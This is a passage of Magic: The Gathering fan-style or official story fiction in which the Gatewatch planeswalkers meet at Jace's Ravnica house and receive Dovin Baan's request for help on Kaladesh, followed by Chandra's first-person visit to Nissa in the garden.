From the far side of the door came a thump and a muttered obscenity. After long seconds of fabric rustling this way and that, accompanied by sotto voce imprecations against these blankets in particular, bedding in general, and the entire profession of weaving by extension, the sounds of unsteady feet on hardwood lurched and swayed towards the door.
"Yeah. What. What?" a sleep-thick feminine voice mumbled from the other side.
"It's almost noon. You need to get up."
"Can't be noon. It's still too heavy out."
"Could you open the door?"
"No." A moment of silence, a sigh, then long seconds of loose-limbed scrabbling against the door lock. A final pause. "Wait. Didn't lock it. You open it."
She pushed gently, and the door creaked open, the movement of air rustling the dark silk of her dress. The woman collapsing against the doorframe on the far side was a chin-level explosion of sleep-mussed copper hair in a baggy nightshirt, its neckline untied and sliding off one shoulder. The light from the hall fell across one sunburnt and freckled cheek. She groaned and squeezed amber eyes shut. "Morning, Liliana," she mumbled into the door frame.
"Oh my," Liliana said. "You look terrible, Chandra."
Chandra smeared night sand out of one eye with the hand she wasn't leaning on. "Oh yeah? Well you look..." She dropped her hand and squinted at her blearily. Her eyelid twitched. "...Great, actually." There was a definite unspoken "damn it" at the end of the sentence.
"Why, thank you."
The only light beyond Chandra's shoulder was a sliver of blinding sun slicing between the heavy folds of drawn curtains. The bedroom seemed to have been ransacked by hasty goblins. Or possibly a bear had taken up residence. The blankets on the four-post bed were pulled off and trailing across the lacquered hardwood, leaving behind only a shambling fortress-pile of overstuffed pillows in the center of the mattress.
The desk was covered with dried-out paint bottles in several lurid colors, and one oversized, half-eaten cookie. There were piles of wadded-up clothes in two different corners. In the gloom, Liliana couldn't tell which was the clean pile. Assuming either was. In a third corner lay the charred remnants of at least two easels.
"I trust the evening was worth it?" Liliana asked. A breeze kicked through the hall, carrying the scents of sun-baked bricks and frying food, the susurration of crowds and the tinkling of bands in the square below. A strand of wayward orange hair wavered in the summer wind and fell across Chandra's eye. Liliana reached out and tucked it behind the girl's ear, tsking. It was dry as straw, the ends split. To be expected, perhaps, given its tendency to burst into flame.
"Stop that," Chandra said, waving away her hands. "I wasn't doing anything last night. Just went to watch..." she hesitated, amber eyes squinting off into the gloom of her bedroom. "Uh, some minstrels. Yeah. A tavern in—on Tin Street. They had, like...fiddles."
Liliana had met many terrible liars over the centuries, but impressively few could rival Chandra. She folded her arms across her chest and allowed one corner of her mouth to tilt upwards. "You went to see the Izzet air races."
"No!...Yes." She yawned. "So you gonna yell at me, or what?"
She laughed lightly. "Why on earth should I? Do what you want." She waved over her shoulder, the gesture encompassing the sun-baked hall, the quiet, book-stacked rooms of Jace's sanctum, and the preposterous band of freelance do-gooders she'd found herself walking two steps behind and shaking her head at. "Nobody here has a right to tell you what to do. That's certainly not what I signed up for."
"You didn't sign anything."
"Never do, sweetie. Best to live unfettered." She tapped a finger against her lips. "Air races are dangerous for most. But after Emrakul, the perils of goblins with rockets strapped to their backs seems distinctly...non-perilous for you."
"One of them had rockets in his boots. But he blew up. Boof!" Chandra's hands cupped and spread apart, describing an expanding cloud of yuck. "Chunks everywhere. Super gross."
"Charming. Did you enjoy your evening?"
The younger woman grinned, the freckles on her cheeks scrunching up into an adorable mess. "Yeah! I love air races. I haven't seen once since—" her mouth hung a moment, and she blinked twice, rapidly. "Not for a while, anyways. Not big with the monks," she said, with an unconvincing laugh.
Liliana studied the fall of the noon sun across Chandra's hair, remembering the brittle feel of it between her fingers. "Beefslab wants everyone downstairs in an hour. We have a guest."
"Who?"
"I'm sure I didn't ask."
"What? No, I mean...Beefslab?"
Liliana let the corner of her mouth slide up again, placed one hand on her hip, and waited for it.
"Oh!" Chandra snorted a laugh. "Gids."
She waved pale fingers in the air and rolled her eyes, theatrically. "Surely you've thought the same? It feels like I have to ask him to put a shirt on every other day."
Chandra rubbed her left eye and yawned again. "Hey, I don't mind the view. I wanna get breakfast on the way. Lunch. Whatever. You coming with?"
She moved to brush past Liliana, who stopped her with a hand to her exposed shoulder. The skin was radiantly, unnaturally warm, as if she'd been lying in the sun. She'd noticed that on the rare occasions Chandra sat still for five minutes, her lap inevitably attracted a small pile of drowsy cats.
"Before we go downstairs, sweetie," she said, "you might wish to put on pants."
"What are you, my m—aunt?" Chandra grumped. She turned and wobbled toward one of the piles of laundry, toes curling up at the cold of the hardwood. That settled the question of which pile was the clean. Hopefully.
Liliana silvered a laugh into the air. "I'd rather you think of me as...a sibling, shall we say?"
Chandra pulled a pair of leggings out of the pile, sniffed, and tossed them over her shoulder with a grimace. "I don't have any siblings. Anyways, aren't you like two hundred or something?"
"Ah, but two hundred going on twenty-nine."
"Not wearing armor today?" Liliana asked as they walked to the stairs.
"Around the house? Nah. You think maybe I should for this meeting?" Chandra was looking down at the lacing of her shirt. She'd been trying to work out a knot, but only managed to get a thumb caught. "I left it downstairs, in that room Jace keeps all his cloaks." A puzzled frown bent her lips. "He's got an awful lot of them. Hold on."
She paused by one of the open bedroom doors to work her thumb free. It was Nissa's room, theoretically. The curtains were pulled wide, letting noontime sun fall on undisturbed bedding and a dusty bureau. Chandra glanced in. "We've been here like three months, but I've barely seen Nissa since Innistrad."
"You won't find her in there. Let me see that." Liliana turned and batted Chandra's free hand away from her shirt's lacing. The other hand was now connected by the thumb and an additional finger. "The first morning you all were here, she stumbled out looking like death warmed over."
Chandra brightened and opened her mouth.
"Yes, yes," Liliana sighed. "I'd know best what that looks like."
"Aw..."
"Sweet girl, trust me. I have heard all the necromancer jokes." Liliana sucked in her lower lip as she dug in her fingernail to tease a knot free. "Nissa mumbled something like, 'Can't sleep. Too many angles.' She's been staying in the roof garden ever since."
"Weird." Chandra watched dust motes swirl in the air. "What about you?"
"What about me?" Liliana pulled at another knot.
With her free hand, Chandra pushed her goggles further back on her forehead. "Jace offered you a room too. Right? Like the rest of us? But you went and got your own place, even when everything's so expensive here."
A final, firm tug, and Chandra's hand was free. "I mislike relying on the mercy of others," Liliana said, forcing lightness into her voice. It had the virtue of being true, if not the entire truth. "Now let me tie this for you properly."
Sleeping under a roof that Jace paid for? Not just "no," but "hell no."
"There." She patted the lacing on Chandra's shirt. "Don't touch it again. Next time you'll probably get a toe caught."
"Thanks," Chandra grinned, then wrapped one warm arm up around Liliana's bare shoulders and squeezed. "I'm so hungry I could eat an Eldrazi. Maybe even one of the gooey ones." She launched herself toward the stairs. "They don't get breakfast on Ravnica at all. It's like they get it all backwards. Big dinners, long lunches, skipped breakfasts. Crusty bread with butter? For breakfast?" Chandra made a lemon-pucker face. "Come the hell on."
"Is that why you can't get up in the morning here?" Liliana asked, mildly.
Chandra slugged her in the arm. "Jerk." She was taken so off guard she staggered. Chandra walked obliviously ahead as Liliana rubbed the potential bruise. Her steps quickened as she warmed to her topic and gestured to an audience only she could see. "Listen. A real breakfast starts with methi thepla. With ginger, chilis, and some yogurt in the mix. When you wake up to that smell—" she paused; swallowed; shook her head. "With pickled mango! Mango is the best. Anyone who says otherwise should be pitied for their tragic and inescapable wrongness."
Liliana shook her head. "I have no idea what mango is."
"A fruit." Chandra said. "Nothing else tastes like it in the multiverse. At least in the parts I've been. When it's perfectly ripe and you take a bite..." she cupped both hands under her mouth. "...the juice just runs down your chin. Sweet and tangy at the same time—and sharp in the back of your nose. Like the way juniper smells, a little. They're like a sunrise in your mouth. So big and bright it spills out."
"They sound...messy," Liliana allowed.
"I guess. Sometimes. But so worth it," Chandra grinned. "For the second course, do you know what a chickpea—oh." They had turned into a hall that opened over a courtyard on one side, open to the sky and brimming over with green. Chandra's forward momentum trickled to a halt as she drifted toward the balustrade.
"We've got time for one more go before the meeting. Whenever you're ready." The booming voice of Gideon. "Let's do this!" An echoing clap of meaty hands.
She moved to stand beside Chandra. Below, Mancake settled into what was probably a Theros wrestling stance, braced as if expecting a blow. Across from him, the willowy Zendikari elf stood with one hand gripping her opposing shoulder, looking like she wanted to fold into herself and disappear.
"Are you sure?" she asked the grass. Her voice was uneven, scratchy with disuse.
His laugh echoed off the stonework. Liliana was fairly certain she heard distant glassware vibrating. "If I know it's coming, I'm indestructible. The whole point's to see how far you can go. Trust yourself, Nissa. And if you don't...trust me. I can absolutely take it."
"But..."
"Indestructible," he repeated cheerfully, flashing perfect teeth.
"All right." Nissa closed her pine-shadow eyes. "There's not much here to work with."
"We could do this in the garden."
"I meant...never mind." She breathed in, and raised a hand.
The bushes exploded into bloom. Lavender-and-white petals swirled on a sudden wind, filling the air with thick sweetness. Ivy shot up the walls, emerald leaves swelling and unfurling, coating every surface. The grass stretched and bent, whispering in the breeze, lovingly wrapping itself around Nissa's hiking boots.
Chandra took an involuntary step back, inhaling sharply as greenery embraced the balustrade.
Branches swelled and twined, weaving into a single four-legged shape. Maybe some Zendikari beast? Liliana had visited some decades before, but found the place too dull to stay long. The bushes pulled themselves free of the ground, flicking dirt from their root-feet like a fastidious cat.
The bush-beast—more a tree now—reared back, creaking and groaning like the world's largest rocking chair. It shed pastel petals in a constant rain, motes of pollen swirling in the noontime sun. Its front limbs interlaced into a single fist, which it drove down on Gideon like an avalanche.
His flesh shone with liquid gold.
Then he was driven down into the earth, up to his chest.
Nissa gasped. With a wave of her hand, the tree-beast jumped back away from him, landing with a reverberating impact that left Liliana clutching the ivy-clad railing for support. Somewhere in the house, she heard porcelain shatter. Several somewheres, actually.
Gideon laughed uproariously. "That was incredible!" He braced his hands on either side of the crater, and with a grunt uprooted himself. He rolled up on to his feet and brushed black earth off his trousers, a grin lighting his face. "You can't hurt me, but I didn't even think about the floor."
The tree-beast keened at Nissa like a scolded puppy. "Shh," the elf whispered, bending to rest her forehead against the monster's wooden brow. "My fault, my fault."
"Nicely done," Gideon laid a massive hand on Nissa's thin shoulder. She twitched and inhaled sharply. The tree-beast swung toward him and shook itself, leaves rattling a feline hiss.
He stepped back, hands in the air. "Easy, big fella. Not attacking mom."
Nissa laid a stilling hand on the beast. "Thank you. Rest now." It dug its wooden fingers and toes into the earth, groaned, and settled back into mere topiary. Nissa stood alone again, the beast's last pale blossom petals tumbling down around her.
Gideon rubbed his prickly jaw. "Hope Jace is all right with us landscaping."
Liliana glanced at Chandra. She was up on her toes, leaning forward over the rail with a dazzled little smile. "Careful you don't fall off."
Chandra hopped back down, and stuck out her tongue. "Like I would. Come on, I'm hungry."
Liliana smiled and followed. Behind her, Gideon's voice echoed from the courtyard bricks. "Nissa, before you go. That thing I do, where I clap people on the shoulder? Does that make you uncomfortable?"
Liliana paused at the door, listening. If the elf responded, her words weren't audible.
"I'm sorry. I hadn't realized. I won't do it again." Liliana couldn't imagine his expression, but his tone dripped such brown-eyed-shaggy-dog sincerity her lips twitched with irritation.
"Thank you." Barely more than a whisper of wind on leaves.
"If anything makes you uncomfortable, let me know, all right? Especially if it's me."
Liliana set her mouth in a hard line and followed after Chandra, boots clicking on the hardwood, silk hem swishing in her wake. If she listened to any more she might vomit. Of course the elf gets apologies and promises. Two hundred years ago, she'd had to learn to break fingers.
There were a dozen ways into Jace's library, not counting the hidden passages her shades had found. Three stories of overflowing floor-to-ceiling bookshelves, all in alphabetical order by author, and arranged by subject. After a few weeks, she'd started taking random books and placing them on other shelves. It would drive him insane when he noticed.
The marble table at the center was normally covered with Jace's neatly squared stacks of notes. He'd moved that into a private office; the library had become a common room because the table was the only one in the house large enough to accommodate them all. He'd visibly twitched when they started taking meals there.
Today the table held only a pitcher of water and six glasses. Jace was already here, of course, pacing, frowning, flipping through a bundle of notes, and trying to keep clear of Lavinia, who'd stationed herself by the exterior door and stared pragmatically into the middle distance. You could almost see checklists and formation marches lockstepping behind her eyes, taking up cycles while she waited for something important to happen.
Liliana had seen her sort a thousand times. Dutiful, observant, entirely unimaginative. If she had a favored tavern, which seemed unlikely, her usual was a mug of room-temperature water.
Lavinia was almost certainly standing by the door to keep Jace from bolting out on some adventure. Of course, if he really wanted to leave, he just needed to be alone for a few minutes. She knew that now; with four Planeswalkers living here (and one availing herself of the amenities, thank you very much), it had been necessary to explain. Jace had invoked some Guildpact bylaw of subsection of article as amended and ratified by who the hell cares to swear her to secrecy.
Liliana smiled to herself as she scraped a chair out from under the table, imagining the guard banging on the door of the privy; "Are you still in there, Guildpact? Respond at once!"
Jace looked up at the noise of her chair. "You're early?" He sounded aghast. She was professionally affronted.
"No. Everyone else is later than me." She cast a critical eye up and down his form. Firm, fit, alert, hair combed. She mentally called bull on it. "You can drop the glamour, dear. No one cares."
He sighed, and shimmered as his illusion dropped. There was the real Jace; paler, hair rumpled, eyes sunken from late nights, and his chin tinted by the adorable peach fuzz that almost counted as a someday-maybe beard.
"Vanity?" she said. "That's not like you."
He raked a hand back through his hair, which did nothing to calm its random angles. "I should be at my best for team meetings. Project leadership. Confidence. The idea that I know what the hell I'm doing. And why am I telling you this?" He looked annoyed at himself.
She raised one ivory shoulder in a careless shrug. "Who else knows you well enough to understand?" Liliana leaned back in her chair and placed her feet up on the table, one ankle crossed over the other. The hem of her dress fell away from her boots in a rustle of silk.
"That's rude," Jace frowned.
"Mm."
His eyebrows collapsed into fuzzy perpendiculars of irritation. "And distracting."
Liliana favored him with a lazy, indolent smile. "I'll remember." She turned her attention to scanning the book spines nearby, and imagined his fuming.
Gideon thundered down the stairs, taking them two at a time as he yanked a shirt down over his various bulges, ripples, and throbbing bits. "Oh, good. You remembered today," she said.
He blinked at her. "What?"
"Nothing." She waved a careless half-salute in his direction. "Carry on, Sir General sir."
Jace set his notes down as Gideon pulled out the chair across from her. "That's nearly all of us, so I'll start. We can catch Chandra up when she gets here."
Liliana blinked and scanned the room. What about—oh. Nissa was sitting cross-legged in a chair under the shadow of the bookshelves, several steps removed from the table. She wondered how long the elf had been there.
"The short of it is," Jace continued, "I'm still tied up with Guildpact work, and will be for a while. When I got back from Innistrad, my desk was covered. Actually, the whole office was a maze of stacked papers and books. It took me five minutes to reach the desk."
A faint smile tugged the corner of Lavinia's mouth. Liliana revised her estimate of the woman's creativity upward.
Jace leaned on the table with the tips of his fingers. "I've put word out through—"
Bits of armor clattered and rang across the table. Jace glared up at Chandra. The pyromancer's arms swept up the pile of her spilled equipment. "Sowwy," she said around the pastry she held in her mouth. It dripped cinnamon icing on the marble. She collapsed in the chair beside Liliana, bit off a piece, and started strapping on pieces of armor. "Wha' wersh you shayin'?" she asked from the side of her mouth.
"I was saying," Jace said, with exaggerated patience, "that I've put word out through Tamiyo that the Gatewatch is ready to help. She and other Planeswalkers pass information to each other. They collect news and stories in their travels. The way bards work, but they carry word from other planes instead of the next town over."
"How many are they?" Gideon asked, resting his chin in one hand. "How often do they meet?"
Jace shook his head. "They're not organized like we are. It's informal. Practically gossip. But they move around often, and talk to many people. If someone wants help, they'll mention us. If someone needs help, they'll get word to us." He paused, and looked at each of them. "This has already borne fruit. Someone's sought us out. He's waiting outside."
Gideon grinned and sat straighter in his chair, which creaked at the shift in weight. "Outstanding work, Jace."
Jace nodded. "Our guest is Dovin Baan. He's Minister of Inspections for some kind of inventors' festival on Kaladesh." Warmth bloomed to Liliana's right. "Lavinia, could you see him in please?"
Minister. Hmm. Liliana took her feet off the table, sat up straight, and crossed her legs, brushing the folds of her dress into smoothness. A ripple passed over Jace; he'd re-summoned the neat and tidy illusion he'd been wearing when she entered.
Across the table from her, Gideon eyed their mutual preparations thoughtfully.
Chandra slumped further down in her chair, pulled her goggles down over her eyes, and folded her arms tight across her chest.
Art by Tyler Jacobson
The vedalken man was tall, thin as dueling blade, blue-skinned, and impeccably dressed. His suit was partially encased in whorls and filigrees of brass, bits of which hissed and ticked faintly. He descended the stairs with brisk, precise motions, hands clasped behind his back, and Liliana wondered how he managed it. Surely the bits of metal covering his sleeves would get tangled?
He paused as he passed a painting, frowned, and reached out to nudge it upward on one side.
"Minister Baan," Jace said. "These are my colleagues Nissa, Gideon, Chandra, and Liliana."
As she was introduced, Liliana unfolded from her chair and applied a pleasant smile. She curtseyed, keeping her eyes locked on Baan's as she bobbed. His were a fevered, restless fuchsia. A fascinating contrast from his cool demeanor. "Charmed, Minister." Her form was rusty, but she doubted he'd be familiar with the particulars of Dominarian court manners.
Baan laid an arm across his stomach and bowed to her from the waist, lowering his eyes to the floor before her. "Likewise, Miss Liliana."
"I hope your wait was comfortable?" Jace asked, indicating an empty chair at the far end of the table.
Baan glanced at it with momentary puzzlement, but made no move to sit. "The accommodations were tolerable."
Jace's projected face gave no hint of the discomfort Liliana's suspected lay beneath it. "Good. Well. What can the Gatewatch do for you?"
"I have come to inquire with regard to the matter discussed in my previous correspondence."
After a moment of silence, doubtless spent unpacking Baan's baroque grammar, Gideon cleared his throat. "Excuse us, Minister. Not everyone here has seen your letter."
Baan inhaled slowly. "Ah. Very well. I will recapitulate." Clasping his hands behind his back, he began to pace at the end of the table.
"I have the honor of coming before you as an officially and duly designated representative of the Consulate of Kaladesh. I have, of course, educated myself on the means of governance on Ravnica; your system of competing 'guilds.'" Baan pronounced the word with delicacy, as if it were some rare sweet he'd never encountered before. "Our Consulate stands in contrast. It is unified; centralized; meritocratic. All resources are administered and distributed by the rational and equal application of the law. We have achieved a society in which no one wants."
Liliana's right arm felt sunburned. She glanced at Chandra. A shimmer of heat-haze danced over the younger woman's head. Stray wisps of copper hair rose and wavered in the updraft. But she was silent, rigid, the muscles of her jaw rippling as she clenched her teeth.
Liliana quietly slid her chair to the left.
"Six months ago," Baan continued, "the Consulate scheduled an Inventors' Fair in the capital city of Ghirapur. It is to begin on the morning following. There are to be expositions of artifice in a variety of fields. Award of grants for exceptional work."
Baan allowed the corners of his mouth to turn up, ever so slightly. "It has been my pleasure to personally inspect all submissions for safety of visitors. If I may be forgiven for saying so, I believe the judges have many difficult choices to make. I am confident that at least one of our luminaries has managed to create an entirely new order of artifice."
He paused at the books stacked along the wall, and tapped the brass of his shoulder piece. An array of lenses whirred into place before his left eye. He peered through them for a moment, frowned, and drew one slim finger across the surface of the shelf.
"In recent weeks," he continued, pulling a handkerchief from his pocket as he turned on his heel, "preparations have been repeatedly disrupted by vandals and malcontents. My safety arrangements have thus far prevented any casualties." He wiped his finger with the handkerchief, carefully folded the cloth into quarters, and slid it back into a pocket. "However, efforts to discover and eliminate the source of this unrest have been less successful."
Baan's lens array ticked back into a storage position over his shoulder plate. "That is all."
Gideon cleared his throat. "So, to be clear, you want the Gatewatch to provide...security?"
"To root out the source of these attacks?" Jace suggested.
Baan looked from one to the other, and inhaled as if he'd smelled something from the bottom of a shoe. "Just so," he said. "As stated in my original correspondence."
"Who are these people?" Gideon asked. "Why do they want to disrupt a festival?"
Baan inclined his head. "A logical question, Mister Gideon. I regret there is no logical answer for your query. The renegades' grievances largely exist in the fevered space between their own ears. The most significant objection they can muster is that equal distribution to all by the Consulate is somehow 'unfair' to them personally. Put simply, they feel they are entitled to more than their fair share. When the Consulate declines to indulge their selfish desires, they resort to sabotage of government property and theft of resources appropriated for the common good."
Chandra's chair tilted over backward as she bolted to her feet. Liliana snapped out an arm and kept it from clattering to the floor as she stomped away, trailing heat-blurred air and sparks.
"What are you—?" Gideon began, but flinched away from Chandra's flickering hands as she passed him. She vaulted up the stairs two at a time, snarling eye-watering obscenities.
Baan's eyes followed her, his eyebrows arching skyward. "I trust she is aware that is not anatomically possible?"
Jace cleared his throat, too loudly. "Minister Baan?" The vedalken turned back to the table as the massive library doors slammed shut. "Are any of your renegades Planeswalkers?"
"Not to my knowledge."
Gideon shook his head, "Then I don't see how we can help. I'm sorry, but—"
"Wait." Jace leaned forward. "He said he doesn't know. We can prove one way or the other."
Baan closed his fever-bright eyes and pinched the bridge of his nose between thin fingers. "Gentlemen, forgive my presumption. Which of you is making decisions for this group?"
Jace and Gideon looked at each other.
"Well..."
"Uh..."
"Gideon is the battlefield commander..."
"Jace is the administrator..."
"But we both..."
"But neither of us..."
Baan was clutching his head as if he had a migraine.
"Minister Baan," Liliana interrupted. She rose in an ostentatious swish of silk and lace, and affected her most disarming smile. "What troubles my...colleagues is the focus of our group. The Gatewatch was formed to stop people like us—Planeswalkers—from interfering with others. Problems from without, in other words. It sounds like your problems come from within. In which case," she gestured with feigned helplessness, "our hands are tied."
Baan released a slow, relieved breath. "Ah. Thank you, Miss Liliana. Your position is abundantly clear to me to now. I did not fully comprehend the strictures you operate under. Of course I cannot expect you to violate the laws that bind your organization." He bowed to her again. "My sincerest apologies. In the future I will endeavor to be more thorough in my research. If you will permit me, I shall take my leave."
Jace stared at Liliana open-mouthed, annoyance and astonishment warring across his face. Priceless.
"Uh, hold on," Gideon jumped to his feet. "Minister, you should at least stay for dinner."
Baan looked at him as if he'd grown several additional heads. "Mister Gideon, even if I considered it acceptable to further impose upon your hospitality, I am sorely needed on Kaladesh. I have no doubt that since I departed, there have been several acts of sabotage."
Gideon grinned at Baan. "Planeswalks can be taxing, and you've already done one today. We couldn't let you go on an empty stomach. Rules of hospitality, let's say. While we get that made, I could give you a tour of Jace's hou—of our headquarters."
Baan stared down his nose at him. "I assure you, my fitness is within acceptable boundaries for one of my age and profession, though I do not believe the matter to be any of your concern. Still. If it is your custom to provide sustenance to a departing guest, I will respect it."
"Outstanding!" He moved to clap the Minister on the shoulder, but stopped himself and disguised the instinct as an awkward stretch.
Lavinia cleared her throat. "Guildpact. Before your associates leave. The other business?"
Gideon paused. "Other business?"
Jace grimaced. "While I was away on Zendikar and Innistrad, a few influential members in the Azorius Senate were...eliminated."
"Certainly a concern," Gideon said. "But what does that have to—"
"You said 'eliminated,'" Liliana interjected. "Not 'killed.'"
Jace nodded. "They were petrified. Turned to stone." He hesitated. Liliana raised her brows. Jace speechless? How intriguing. "About a year ago, there was a gorgon assassin operating on Ravnica. A planeswalking gorgon, with a grudge against the Azorius. I stopped her, but...irritated her."
"You have such a way with ladies," Liliana said.
"The point is," Jace said, "she swore she'd be back someday."
Gideon rubbed his jaw, eyes flickering to Lavinia. "Huh. Any leads?"
"Not yet," Lavinia said.
Jace turned to Gideon. "I'd like you to investigate this."
He shook his head. "You're the best choice, Jace. Look into it and report back to me."
Liliana's eyes flickered from one to the other. So glad she had her own place. Though if things ever came to a group vote, this made it easier to tilt things in whatever direction she wished.
"You have no idea how much I'd like to handle this myself," Jace said. There was a faint creak of leather as Lavinia's gloved hand tightened on her scabbard. "I have paperwork." He spat it like an obscenity. "Gideon, I'm not going to...it's not an order, all right? It's just something that needs to be done. I can't do it myself, and I think you'd work well with the Azorius. Better than Liliana would, at any rate."
"Oh, he's right about that," Liliana said, mildly. She was fairly certain they would still have her wanted posters up from four years ago, when she and Jace had worked for Tezzeret's criminal Consortium. Odd to consider how much had changed since then. Now Jace was the one the Azorius appealed to for aid, and she was more powerful than the guild could possibly deal with.
She laid a hand over the hidden pocket where she kept the Chain Veil. Not that she needed to assure herself of its presence. She could feel the icy sprawl of it against her thigh, and when her concentration lapsed, the whispers of the Onakke spirits possessing it rasped from the darker corners of the room.
"That makes sense," Gideon said, nodding slowly. "All right. Lavinia, I'd like a summary of what the Azorius know."
The guard looked scandalized. "A summary? Captain Jura, the witness statements alone total several thousand—"
"I'm new here." He gave her an easy smile. "I need to rely on your expertise. I know it's a lot to ask, but could you get something for me by tonight? Even a little would be great."
Lavinia flustered under his gaze. "Absolutely, sir."
"Thank you, Lavinia," Gideon gestured to Baan, and moved toward the door on the far end of the room. "Jace's kitchen staff is incredible. Perk of being Guildpact, apparently. What's your interest?"
Jace dropped his illusion of calm and glared into Liliana's smile.
"I am content with a loaf of unleavened bread, a thin cut of meat, and water."
A booming laugh. "We can do better than that!" They turned down a hallway.
Lavinia tromped off, making notes on a small pad.
They were alone again.
Liliana placed herself between the table and the door to Jace's office as he gathered his paperwork. He scowled to see her waiting, lowered his chin, and marched past her looking into the distance. She smiled benignly. Magnanimously. "In the future, my dear, maybe you should leave the talking to me?"
"I hate it when you do that," Jace said, low and colder than she thought she'd earned. "When you walk in and take over. Like you own everything and everyone. Then expect me to thank you." He turned his shoulder to her and brushed past.
Her words came out by reflex, unbidden; pain for pain. She breathed into the collapsing space between them, "I remember when you enjoyed that."
Then he was gone, leaving behind only his angry words, each a nail of ice pounded into her heart.
Well, damn it. There went her good mood. She swiped a hand beneath one eye (just being sure, nothing would ever be there), then squared her shoulders and lifted her chin. To Grixis with him, then. Let's see where Chandra stormed off to. That could be fun.
She turned toward the stairs, and noticed Nissa's chair was empty. The elf had left as unobtrusively as she'd arrived.
It was only when she was halfway to the second floor that Liliana realized Nissa hadn't said a single word through the entire meeting.
I keep throwing punches.
The jolts pass up my arms, irregular, staccato. Gids's punchy-kicky bag of sand swings and wobbles under the blows.
If he were here, he'd be telling me to pace myself, keep my arms straight, use short and controlled jabs, so I guess it's just too bad for me he's listening to that Consulate butt instead.
Inventors' Fair? The hell. They killed the best damn inventors on Kaladesh. Baan and his sort. The Consuls and their damn stupid rules.
Now they're trying to hunt down somebody else. Someone else's kid. Maybe someone else's—
The canvas of Gids's punchybag bursts into flames.
"Oh crap!"
There's gotta be—he's gotta have water in here. He's like the king of eight glasses a day. I scan the room. Weights. Wrestle-y floor-pillow dealies. Big ball I'm not supposed to throw at Jace again. More weights. Rack of weird stuff he never explained. More different weights. There!
I slide across the table and grab for the bucket below the window. It smells funny. Maybe he soaks his head in it, I don't know. Just need the water.
Behind me, the canvas bursts, and sand hisses across the floor.
Oh, damn it.
I pour the bucket over flaming scraps of fabric.
That's a big pile of mud. I wonder if it will ruin the floor? I stick the toe of my boot in and trace a line across the mess. Maybe I should make a sand castle.
I hate this. I hate the me that breaks nice people's crap. Even if Gids is being nice to one of the people who killed my—
My eyes are stinging again. I drop the bucket and rub them. Sparks and embers drift away.
Maybe Gids totally deserves it. Screw his punchybag.
Why am I even here? I don't belong here.
I should go back to Regatha. Do that stupid ritual where you spend all night watching a log burn. Bit by bit it starts to glow. Red, orange, yellow, crawling up the bark. Flaring and fading down again. Then it turns grey and falls into ash. "This is what it means to be consumed by divinity," Mother Luti said. "Transformed." Old life falls away and blah blah blah.
Which divinity? The Eldrazi? The guys who screwed over Gids? I can't believe in a god that burns everyone they touch. A god's gotta be better than that.
I remember the pool.
Behind the power that shook the strength from my legs.
It was there. I saw it. I swear I saw it.
She was floating in green and I could breathe there.
That's where I want to be.
I need to be there.
It's an itch I gotta scratch. Crawling up my spine and under my hair. Gotta go now.
My feet have already taken me to the door. No, stop. Can't just barge in and...I mean, weird, right? Rude. I don't want her to think I'm the sort that just breaks in and...all right, maybe I am the sort who does that, but I'm trying real hard to be polite now. I just need to take a few minutes to—
Damn it, I'm already up the stairs. And I'm stomping down the hall like a big freak because my legs are shaking and my brain is sizzling. This is stupid. I'm going to stop putting one foot in front of the other. I'm going to turn around. I'm going to tiptoe down the stairs real quiet, like a little baby mouse. Any second now. Damn it, Chandra, don't open that door. Stop gawping at the ginormous flowers that weren't here a month ago. Bad Chandra, no cinnamon pastry. Just turn around, go back downstairs, and never think of doing this agai—
"Chandra?"
FFFFFFFFF...
"H-hey. Nissa? You in here?" Yeah, that's it. Casual. Smooth. Be all nonchalant, like Liliana. Nothing gets to Liliana.
"I mean, heh, 'course you're in here. 'Cause you just talked. I mean, uh, you got a minute? Maybe?" All right you can stop talking now.
"Yes. I'm behind the kass—behind the purple flowers."
My hands are shaking. I push branches aside and walk toward her voice. The leaves feel like sandpaper. Just a little farth—
She's sitting cross-legged on a patch of moss. Dark hair unbound, spilling in waves over her shoulders, trailing across her lap. She's woven little flowers around the crown of her head. Butterflies are dancing around her. She pays them no mind. A shaft of light through the leaves paints her in golden sun. She smells like anyone's best childhood memory.
She hasn't taken her eyes off me. Just sits. Listens. Waits. It's making me itchy and I think I'm sweating.
When was the last time I took a bath? Aren't elves supposed to have super dog noses or something?
Also, I'm standing bent over under a branch, holding leaves out of my face like a freaking idiot. "Uh. Can I sit?" I'm breathing through my mouth, fighting for air, struggling not to be loud about it.
"Please." She gestures. Her arm moves like water. Just sorta flows.
Then I manage to trip and fall on my face.
"Oh!" she reaches out, but her fingers seem to bounce off an invisible bubble a handspan away from me. "There's a root..." She pulls her hand back, cradles it with her other arm.
"I'm fine!" I blurt into the dirt, then roll on to my knees and grab my head to make sure I really am. Bleeding from my face would be super embarrassing during this conversation. "Are you fine?"
She cocks her head to the side. "I..."
"Ha-ha-ha! 'Course you are. Sorry. I'm the one who fell on her face." SHUT UP SHUT UP.
I try to sit like she is, but the armor on my shins digs into my thighs. I lean against a tree, stretch out my legs, cross them at the ankles.
Wait! My feet are almost touching her knees. I shouldn't do that. She might not like that. I shift my weight, point them off to one side.
Great. Now I have a root jabbing into my butt.
She just watches me. Silent. Patient.
I giggle and try to push the hair off my sweaty forehead. I'm steaming under her gaze, skin gone molten. "I think I'm crushing your flowers."
"They'll be fine." Her eyes are so deep. When I was a kid, there was this quarry outside Ghirapur. It had filled with water, and moss and floaty green stuff grew all over it. Deep, black, still. If you fell in, you'd never reach the bottom. That's what they said, anyways. I'm standing at the edge, too scared to jump.
She clears her throat. "Can I help with something?"
I swallow, but my throat's dried up and it takes a few tries. "I—I just thought that...You know that time on Zendikar, when our minds touched? I felt Zendikar's anger, right? The power of a whole world. Your world. And it was amazing. The most incredible thing ever. But behind Zendikar, behind the anger and the power, I felt you. Your mind. And it was real tranquil, you know? You kinda...centered me, I guess. You were all calm and connected-y."
Then my brain shuts off, but my mouth keeps walking over a cliff.
"When I touched that part of you, it was like when you're swimming, and you just lie back and float, looking up at the sky. Nothing below. Just blue and air above, and everything's cool and still. You can see forever, and don't have to worry..."
WHAT IS COMING OUT OF MY FACE?
I run a hand back through my sweaty hair. "Ha ha, wow. You must think this is dumb, huh? I come in here and start spouting bad poetry—"
The tiniest of smiles. "I thought it eloquent."
I grab a strand of my hair and yank until it hurts. That will keep me focused, I bet. "Anyways. I was thinking there are times when I get super pi—uh, real angry, and usually something blows up. But I think I'd rather be able to touch that place again. What your mind felt like. Calm. Grounded. I mean..." I make the mistake of looking up and her eyes are just there, watching, and all the air in my throat jams up and refuses to move.
